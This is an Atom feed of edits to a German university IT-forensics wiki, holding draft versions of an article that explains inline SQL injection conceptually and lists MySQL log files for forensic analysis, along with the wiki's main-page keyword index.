! DBMS !! Name !! Ziel !! Path bzw. Datei !! Besonderheiten !!&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || General Query Log || Verbindungsinformationen und alle abgesetzten Statements || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log &amp;lt;br&amp;gt;Linux: /var/lib/mysql/general_log.CSV || Nicht per Default aktiv&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || Binary Log || Alle Data modifications&amp;lt;br&amp;gt;DDL &amp;amp; DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin&amp;lt;br&amp;gt;Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log&lt;br /&gt;
|-&lt;br /&gt;
| Beispiel || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere Logs einer WAF oder der Firewall für eine generelle Aussage über einen Zugriff &amp;lt;&amp;gt; IP.&lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2245</id>
		<title>Inline (Queries) SQL Injection</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2245"/>
		<updated>2022-02-26T11:55:11Z</updated>

		<summary type="html">&lt;p&gt;St191426: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Inline (Queries) SQL Injection ==&lt;br /&gt;
&lt;br /&gt;
Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein.&lt;br /&gt;
&lt;br /&gt;
Die Injection funktioniert meist so, dass der eingebrachte Code &amp;amp; die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.&lt;br /&gt;
Je nach Gestaltung der eingebrachten Query, kann der rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).&lt;br /&gt;
&lt;br /&gt;
Einzuteilen in:&lt;br /&gt;
Error-based SQLi&lt;br /&gt;
Union-based SQLi&lt;br /&gt;
&lt;br /&gt;
Arten von Inline SQL Injections&lt;br /&gt;
# Inline-Stringinjection (Seite 75):&lt;br /&gt;
# Inline-Injections numerischer Werte (Seite 79): &lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
Simple Inline SQLi (MySQL):&lt;br /&gt;
&lt;br /&gt;
Abschluss (abtrennen) der ursprünglichen SQL Anweisung (Seite 82):&lt;br /&gt;
&lt;br /&gt;
Beispiel Ref: &amp;lt;ref&amp;gt;[https://evil.com &#039;&#039;Evil Link Description&#039;&#039;] Text behind desc. Abgerufen am xx. Februar 2022.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Analyse ==&lt;br /&gt;
&lt;br /&gt;
Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert.&lt;br /&gt;
Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! DBMS !! Name !! Ziel !! Path bzw. Datei !! Besonderheiten !!&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || General Query Log || Verbindungsinformationen und alle abgesetzten Statements || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log &amp;lt;br&amp;gt;Linux: /var/lib/mysql/general_log.CSV || Nicht per Default aktiv&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || Binary Log || Alle Data modifications&amp;lt;br&amp;gt;DDL &amp;amp; DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin&amp;lt;br&amp;gt;Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log&lt;br /&gt;
|-&lt;br /&gt;
| Beispiel || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere Logs einer WAF oder der Firewall für eine generelle Aussage über einen Zugriff &amp;lt;&amp;gt; IP.&lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2239</id>
		<title>Inline (Queries) SQL Injection</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2239"/>
		<updated>2022-02-26T11:07:22Z</updated>

		<summary type="html">&lt;p&gt;St191426: Die Seite wurde neu angelegt: „== Inline (Queries) SQL Injection ==    == Beispiel ==    Beispiel Ref: &amp;lt;ref&amp;gt;[https://evil.com &amp;#039;&amp;#039;Evil Link Description&amp;#039;&amp;#039;] Text behind desc. Abgerufen am xx. Fe…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Inline (Queries) SQL Injection ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Beispiel Ref: &amp;lt;ref&amp;gt;[https://evil.com &#039;&#039;Evil Link Description&#039;&#039;] Text behind desc. Abgerufen am xx. Februar 2022.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Maßnahmen ==&lt;br /&gt;
&lt;br /&gt;
Text##&lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Hauptseite&amp;diff=2238</id>
		<title>Hauptseite</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Hauptseite&amp;diff=2238"/>
		<updated>2022-02-26T11:02:12Z</updated>

		<summary type="html">&lt;p&gt;St191426: /* I */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Willkommen beim IT-Forensik-Wiki der Hochschule Wismar. Hier werden wesentliche Begriffe zum Thema „Digitale Forensik“ erläutert.&lt;br /&gt;
&lt;br /&gt;
== Literatur == &lt;br /&gt;
&lt;br /&gt;
[[Projektarbeiten]]&lt;br /&gt;
&lt;br /&gt;
[[Abschlussarbeiten im Bachelor Studiengang &amp;quot;IT-Forensik&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Abschlussarbeiten im Master Studiengang &amp;quot;IT-Sicherheit und Forensik&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Forensik in DB]]&lt;br /&gt;
&lt;br /&gt;
Michael Mundt, Maximilian Vogelei (Absolventen des Master-Fernstudienganges &amp;quot;IT-Sicherheit und Forensik&amp;quot;): IPython: Implementing distributed Processes of Computer Forensics: Combining Methods from Modern Data Science with those of Computer Forensics. Februar 2021,  ISBN-13 : 979-8702298122 ([https://www.amazon.de/IPython-Implementing-distributed-Processes-Forensics/dp/B08WJTQF4G/ref=sr_1_6?__mk_de_DE=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;amp;dchild=1&amp;amp;keywords=IPython&amp;amp;qid=1616347276&amp;amp;sr=8-6 hier zu erwerben])&lt;br /&gt;
&lt;br /&gt;
== Stichworte IT-Forensik ==&lt;br /&gt;
=== A ===&lt;br /&gt;
[[ACPO]]&lt;br /&gt;
&lt;br /&gt;
[[Aggregation]]&lt;br /&gt;
&lt;br /&gt;
[[AmCache]]&lt;br /&gt;
&lt;br /&gt;
[[Angriffe auf Forensik-Software]]&lt;br /&gt;
&lt;br /&gt;
[[Anti-Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[Anwendungsarchitektur]]&lt;br /&gt;
&lt;br /&gt;
[[Arbeitsspeicher]]&lt;br /&gt;
&lt;br /&gt;
[[Asset Relocation]]&lt;br /&gt;
&lt;br /&gt;
[[APT]]&lt;br /&gt;
&lt;br /&gt;
=== B ===&lt;br /&gt;
[[BBED]]&lt;br /&gt;
&lt;br /&gt;
[[Betriebssystem]]&lt;br /&gt;
&lt;br /&gt;
[[Bitlocker]]&lt;br /&gt;
&lt;br /&gt;
[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
[[BlockchainForensik|Blockchain Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[Blockchainbasierte Datenbank]]&lt;br /&gt;
&lt;br /&gt;
[[Broken Authentication]]&lt;br /&gt;
&lt;br /&gt;
[[Brute Force]]&lt;br /&gt;
&lt;br /&gt;
[[BSI-Vorgehensmodell]]&lt;br /&gt;
&lt;br /&gt;
[[Bundesdatenschutzgesetz (BDSG)]]&lt;br /&gt;
&lt;br /&gt;
[[BurpSuite]]&lt;br /&gt;
&lt;br /&gt;
=== C ===&lt;br /&gt;
[[Cache]]&lt;br /&gt;
&lt;br /&gt;
[[Canarytoken]]&lt;br /&gt;
&lt;br /&gt;
[[CERT-Taxonomie]]&lt;br /&gt;
&lt;br /&gt;
[[Chain of Custody]]&lt;br /&gt;
&lt;br /&gt;
[[Cheat Engine]]&lt;br /&gt;
&lt;br /&gt;
[[Checkliste IT-Forensik für Unternehmen]]&lt;br /&gt;
&lt;br /&gt;
[[Chip-Off]]&lt;br /&gt;
&lt;br /&gt;
[[Clickjacking]]&lt;br /&gt;
&lt;br /&gt;
[[Cold Backup]]&lt;br /&gt;
&lt;br /&gt;
[[Command-and-Control-Server]]&lt;br /&gt;
&lt;br /&gt;
[[Computer Sabotage]]&lt;br /&gt;
&lt;br /&gt;
[[Containervirtualisierung]]&lt;br /&gt;
&lt;br /&gt;
[[Cookies]]&lt;br /&gt;
&lt;br /&gt;
[[Cross Site Scripting (XSS)]]&lt;br /&gt;
&lt;br /&gt;
[[CryptoLocker]]&lt;br /&gt;
&lt;br /&gt;
[[Cybercrime]]&lt;br /&gt;
&lt;br /&gt;
=== D ===&lt;br /&gt;
[[Darknet]]&lt;br /&gt;
&lt;br /&gt;
[[Dateiheader]]&lt;br /&gt;
&lt;br /&gt;
[[Datenanalyse]]&lt;br /&gt;
&lt;br /&gt;
[[Datenbank Firewall]]&lt;br /&gt;
&lt;br /&gt;
[[Datenbankausführungsplan]]&lt;br /&gt;
&lt;br /&gt;
[[Datenbankforensik]]&lt;br /&gt;
&lt;br /&gt;
[[Datenbankmanagementsystem]]&lt;br /&gt;
&lt;br /&gt;
[[Datenreduktion]]&lt;br /&gt;
&lt;br /&gt;
[[Datensammlung]]&lt;br /&gt;
&lt;br /&gt;
[[Datenschutz in der IT-Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[Datenvernichtung]]&lt;br /&gt;
&lt;br /&gt;
[[Datenverschleierung]]&lt;br /&gt;
&lt;br /&gt;
[[DDL &amp;amp; DML]]&lt;br /&gt;
&lt;br /&gt;
[[Deep Packet Inspection]]&lt;br /&gt;
&lt;br /&gt;
[[Deep Web]]&lt;br /&gt;
&lt;br /&gt;
[[Diff]]&lt;br /&gt;
&lt;br /&gt;
[[Digitale Artefakte]]&lt;br /&gt;
&lt;br /&gt;
[[Digitale Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[DLL (.dll Dateien)]]&lt;br /&gt;
&lt;br /&gt;
[[DNS-Tunneling]]&lt;br /&gt;
&lt;br /&gt;
[[Dokumentation]]&lt;br /&gt;
&lt;br /&gt;
[[DoS &amp;amp; DDoS]]&lt;br /&gt;
&lt;br /&gt;
[[Doxing]]&lt;br /&gt;
&lt;br /&gt;
[[.DS-Store]]&lt;br /&gt;
&lt;br /&gt;
[[Dual Use Software]]&lt;br /&gt;
&lt;br /&gt;
[[Dynamische Analyse]]&lt;br /&gt;
&lt;br /&gt;
=== E ===&lt;br /&gt;
[[E-Mail-Verschlüsselung und Signatur in der IT-Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[eDiscovery]]&lt;br /&gt;
&lt;br /&gt;
[[Egg Hunting]]&lt;br /&gt;
&lt;br /&gt;
[[Ermittlungsprozess]]&lt;br /&gt;
&lt;br /&gt;
[[Error Based SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Exchangeable Image File Format (EXIF)]]&lt;br /&gt;
&lt;br /&gt;
[[Exploit]]&lt;br /&gt;
&lt;br /&gt;
=== F ===&lt;br /&gt;
[[File Carving]]&lt;br /&gt;
&lt;br /&gt;
[[Fingerprinting (Browser)]]&lt;br /&gt;
&lt;br /&gt;
[[Fingerprinting (Betriebssystem)]]&lt;br /&gt;
&lt;br /&gt;
[[Flüchtige Daten]]&lt;br /&gt;
&lt;br /&gt;
[[Footprinting]]&lt;br /&gt;
&lt;br /&gt;
[[Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[Forensic Data Mining]]&lt;br /&gt;
&lt;br /&gt;
[[Forensic Readiness]]&lt;br /&gt;
&lt;br /&gt;
[[Forensische Duplikation]]&lt;br /&gt;
&lt;br /&gt;
[[Forensischer Koffer]]&lt;br /&gt;
&lt;br /&gt;
[[Fragmentierung]]&lt;br /&gt;
&lt;br /&gt;
[[Fuzzing]]&lt;br /&gt;
&lt;br /&gt;
=== G ===&lt;br /&gt;
[[Geotag]]&lt;br /&gt;
&lt;br /&gt;
[[GeoIP-Datenbank]]&lt;br /&gt;
&lt;br /&gt;
[[Gerichtsfestigkeit]]&lt;br /&gt;
&lt;br /&gt;
[[Google Hacking]]&lt;br /&gt;
&lt;br /&gt;
=== H ===&lt;br /&gt;
[[Hardware-Sicherheitsmodul]]&lt;br /&gt;
&lt;br /&gt;
[[Hashcat]]&lt;br /&gt;
&lt;br /&gt;
[[Hashwert]]&lt;br /&gt;
&lt;br /&gt;
[[Hilfstatort]]&lt;br /&gt;
&lt;br /&gt;
[[Honeypot]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== I ===&lt;br /&gt;
[[ICMP - Internet Control Message Protocol]]&lt;br /&gt;
&lt;br /&gt;
[[Identitätsanbieter]]&lt;br /&gt;
&lt;br /&gt;
[[IDS - Intrusion Detection System]]&lt;br /&gt;
&lt;br /&gt;
[[Image]]&lt;br /&gt;
&lt;br /&gt;
[[Imaging]]&lt;br /&gt;
&lt;br /&gt;
[[IMSI-Catcher]]&lt;br /&gt;
&lt;br /&gt;
[[Incident-Response-Team]]&lt;br /&gt;
&lt;br /&gt;
[[Indicator of Compromise]]&lt;br /&gt;
&lt;br /&gt;
[[Inline (Queries) SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Integrität]]&lt;br /&gt;
&lt;br /&gt;
[[IT-Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[IPS - Intrusion Prevention System]]&lt;br /&gt;
&lt;br /&gt;
=== J === &lt;br /&gt;
[[Jailbreak]]&lt;br /&gt;
&lt;br /&gt;
[[Journaling-Dateisystem]]&lt;br /&gt;
&lt;br /&gt;
[[Jump Lists]]&lt;br /&gt;
&lt;br /&gt;
=== K === &lt;br /&gt;
&lt;br /&gt;
[[Installieren eines Live-Kali-Linux-System auf USB-Stick|Kali-Linux-Live-System auf USB-Stick installieren]]&lt;br /&gt;
&lt;br /&gt;
[[Kaltstartattacke]]&lt;br /&gt;
&lt;br /&gt;
[[Kausalität in der Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[Kerberos]]&lt;br /&gt;
&lt;br /&gt;
[[Keystroke Injection Attack Tool]]&lt;br /&gt;
&lt;br /&gt;
[[Korrelation]]&lt;br /&gt;
&lt;br /&gt;
=== L === &lt;br /&gt;
[[Lateral Movement]]&lt;br /&gt;
&lt;br /&gt;
[[LDAP-Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Litigation Hold]]&lt;br /&gt;
&lt;br /&gt;
[[Live-Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[Local file inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Locard&#039;sche Regel]]&lt;br /&gt;
&lt;br /&gt;
[[Lockheed Martin Cyber Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
[[Log-File]]&lt;br /&gt;
&lt;br /&gt;
[[LogMining]]&lt;br /&gt;
&lt;br /&gt;
=== M === &lt;br /&gt;
[[Magnet Axiom]]&lt;br /&gt;
&lt;br /&gt;
[[Memory Forensics]]&lt;br /&gt;
&lt;br /&gt;
[[Metadaten]]&lt;br /&gt;
&lt;br /&gt;
[[Mobiltelefon-Forensik]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== N === &lt;br /&gt;
[[Netcat]]&lt;br /&gt;
&lt;br /&gt;
[[Netflow]]&lt;br /&gt;
&lt;br /&gt;
[[Never-Touch-Original]]&lt;br /&gt;
&lt;br /&gt;
[[Nmap]]&lt;br /&gt;
&lt;br /&gt;
[[NTFS]]&lt;br /&gt;
&lt;br /&gt;
=== O ===&lt;br /&gt;
[[Online-Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[Offline-Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[Ontologie &amp;amp; Semantik]]&lt;br /&gt;
&lt;br /&gt;
[[Oracle DB]] (Forensische Aspekte)&lt;br /&gt;
&lt;br /&gt;
[[Order of Volatility]]&lt;br /&gt;
&lt;br /&gt;
[[OSINT-Werkzeug]]&lt;br /&gt;
&lt;br /&gt;
[[Out-of-Band]]&lt;br /&gt;
&lt;br /&gt;
=== P ===&lt;br /&gt;
[[Pass-the-Hash-Attack]]&lt;br /&gt;
&lt;br /&gt;
[[Payload]]&lt;br /&gt;
&lt;br /&gt;
[[Partition]]&lt;br /&gt;
&lt;br /&gt;
[[PCMCIA]]&lt;br /&gt;
&lt;br /&gt;
[[Penetrationstest]]&lt;br /&gt;
&lt;br /&gt;
[[PostgreSQL Command Execution]]&lt;br /&gt;
&lt;br /&gt;
[[Post-Mortem-Analyse]]&lt;br /&gt;
&lt;br /&gt;
[[Prepared Statement]]&lt;br /&gt;
&lt;br /&gt;
[[Prozess der Mobiltelefon Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[Prüfsumme]]&lt;br /&gt;
&lt;br /&gt;
[[P2P (Peer-to-Peer) Software / Netzwerke]]&lt;br /&gt;
&lt;br /&gt;
=== Q ===&lt;br /&gt;
&lt;br /&gt;
[[Query Log]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== R ===&lt;br /&gt;
&lt;br /&gt;
[[Radare 2 - Reverse Engineering Framework]]&lt;br /&gt;
&lt;br /&gt;
[[Rainbow Table]]&lt;br /&gt;
&lt;br /&gt;
[[Redo Logs]]&lt;br /&gt;
&lt;br /&gt;
[[Registry]]&lt;br /&gt;
&lt;br /&gt;
[[Remote Access Trojaner (RAT)]]&lt;br /&gt;
&lt;br /&gt;
[[Replay Attack]]&lt;br /&gt;
&lt;br /&gt;
[[Reverse Engineering]]&lt;br /&gt;
&lt;br /&gt;
[[Rogue Access Point &amp;amp; Evil Twin]]&lt;br /&gt;
&lt;br /&gt;
[[Rootkit]]&lt;br /&gt;
&lt;br /&gt;
=== S ===&lt;br /&gt;
[[SAP-Modell]]&lt;br /&gt;
&lt;br /&gt;
[[Sandbox]]&lt;br /&gt;
&lt;br /&gt;
[[Security Information and Event Management (SIEM)]]&lt;br /&gt;
&lt;br /&gt;
[[Seitenkanalattacke]]&lt;br /&gt;
&lt;br /&gt;
[[Semantik]]&lt;br /&gt;
&lt;br /&gt;
[[ShimCache]]&lt;br /&gt;
&lt;br /&gt;
[[Sigma]]&lt;br /&gt;
&lt;br /&gt;
[[Skimming]]&lt;br /&gt;
&lt;br /&gt;
[[Skript-Kiddie]]&lt;br /&gt;
&lt;br /&gt;
[[Slack Space]]&lt;br /&gt;
&lt;br /&gt;
[[Smishing]]&lt;br /&gt;
&lt;br /&gt;
[[Sparse Image]]&lt;br /&gt;
&lt;br /&gt;
[[Stack-basierte Buffer-Overflow Angriffe in Microsoft Windows]]&lt;br /&gt;
&lt;br /&gt;
[[Statische Analyse]]&lt;br /&gt;
&lt;br /&gt;
[[Sniffing]]&lt;br /&gt;
&lt;br /&gt;
[[Sealbag]]&lt;br /&gt;
&lt;br /&gt;
[[SpiderFoot]]&lt;br /&gt;
&lt;br /&gt;
[[Spuren]]&lt;br /&gt;
&lt;br /&gt;
[[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
[[SQL Stored Procedures]]&lt;br /&gt;
&lt;br /&gt;
[[SQLite Datenbanken auslesen mittels Python]]&lt;br /&gt;
&lt;br /&gt;
[[Sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[SSL Inspection]]&lt;br /&gt;
&lt;br /&gt;
[[Steganographie]]&lt;br /&gt;
&lt;br /&gt;
=== T ===&lt;br /&gt;
[[Tatort]]&lt;br /&gt;
&lt;br /&gt;
[[Team Win Recovery Project]]&lt;br /&gt;
&lt;br /&gt;
[[Threat Intelligence]]&lt;br /&gt;
&lt;br /&gt;
[[Thunderspy]]&lt;br /&gt;
&lt;br /&gt;
[[Timeline]]&lt;br /&gt;
&lt;br /&gt;
[[Triage]]&lt;br /&gt;
&lt;br /&gt;
[[Trugspur]]&lt;br /&gt;
&lt;br /&gt;
[[Tsurugi-Linux]]&lt;br /&gt;
&lt;br /&gt;
[[Totmannschalter]]&lt;br /&gt;
&lt;br /&gt;
=== U ===&lt;br /&gt;
[[Unallocated Data (Nicht zugeordnete Daten)]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[UNION Based SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
=== V ===&lt;br /&gt;
[[Verfügbarkeit]]&lt;br /&gt;
&lt;br /&gt;
[[Vertraulichkeit]]&lt;br /&gt;
&lt;br /&gt;
[[Vertraulichkeit in Datenbanksystemen]]&lt;br /&gt;
&lt;br /&gt;
[[Volume Shadow Copies]]&lt;br /&gt;
&lt;br /&gt;
[[Vorsorge für die IT-Forensik]]&lt;br /&gt;
&lt;br /&gt;
[[Video-Forensik]]&lt;br /&gt;
&lt;br /&gt;
=== W ===&lt;br /&gt;
[[W-Fragen]]&lt;br /&gt;
&lt;br /&gt;
[[Watering-Holes]]&lt;br /&gt;
&lt;br /&gt;
[[Web-Application-Firewall]]&lt;br /&gt;
&lt;br /&gt;
[[Whitelisting]]&lt;br /&gt;
&lt;br /&gt;
[[Why-Because-Analyse (WBA)]]&lt;br /&gt;
&lt;br /&gt;
[[Windows-RAM auslesen]]&lt;br /&gt;
&lt;br /&gt;
[[Windows-Prefetch]]&lt;br /&gt;
&lt;br /&gt;
[[Wiping]]&lt;br /&gt;
&lt;br /&gt;
[[Wireshark]]&lt;br /&gt;
&lt;br /&gt;
[[Write Blocker]]&lt;br /&gt;
&lt;br /&gt;
[[Wörterbuchangriff]]&lt;br /&gt;
&lt;br /&gt;
=== X ===&lt;br /&gt;
[[Xmount]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Z ===&lt;br /&gt;
[[Zeit]]&lt;br /&gt;
&lt;br /&gt;
[[Zeitbasierte SQL Injection Attacken]]&lt;br /&gt;
&lt;br /&gt;
[[Zenmap]]&lt;br /&gt;
&lt;br /&gt;
[[Zero-Day-Exploit]]&lt;br /&gt;
&lt;br /&gt;
[[Ziele einer forensischen Untersuchung nach A. Geschonneck]]&lt;br /&gt;
&lt;br /&gt;
== Fernstudiengänge an der Hochschule Wismar (berufsbegleitend) ==&lt;br /&gt;
&lt;br /&gt;
[https://www.wings.hs-wismar.de/de/fernstudium_bachelor/it_forensik IT-Forensik, Bachelor] &lt;br /&gt;
&lt;br /&gt;
[https://www.wings.hs-wismar.de/de/fernstudium_master/it_sicherheit_und_forensik/ IT-Sicherheit und Forensik, Master]&lt;br /&gt;
&lt;br /&gt;
== Starthilfen ==&lt;br /&gt;
&lt;br /&gt;
* Hilfe zur Benutzung und Konfiguration der Wiki-Software finden Sie im [https://www.mediawiki.org/wiki/Special:MyLanguage/Help:Contents Benutzerhandbuch]&lt;br /&gt;
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Configuration_settings Liste der Konfigurationsvariablen]&lt;br /&gt;
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:FAQ MediaWiki-FAQ]&lt;br /&gt;
* [https://lists.wikimedia.org/mailman/listinfo/mediawiki-announce Mailingliste neuer MediaWiki-Versionen]&lt;br /&gt;
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Localisation#Translation_resources Übersetze MediaWiki für deine Sprache]&lt;br /&gt;
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Combating_spam Erfahre, wie du Spam auf deinem Wiki bekämpfen kannst]&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
</feed>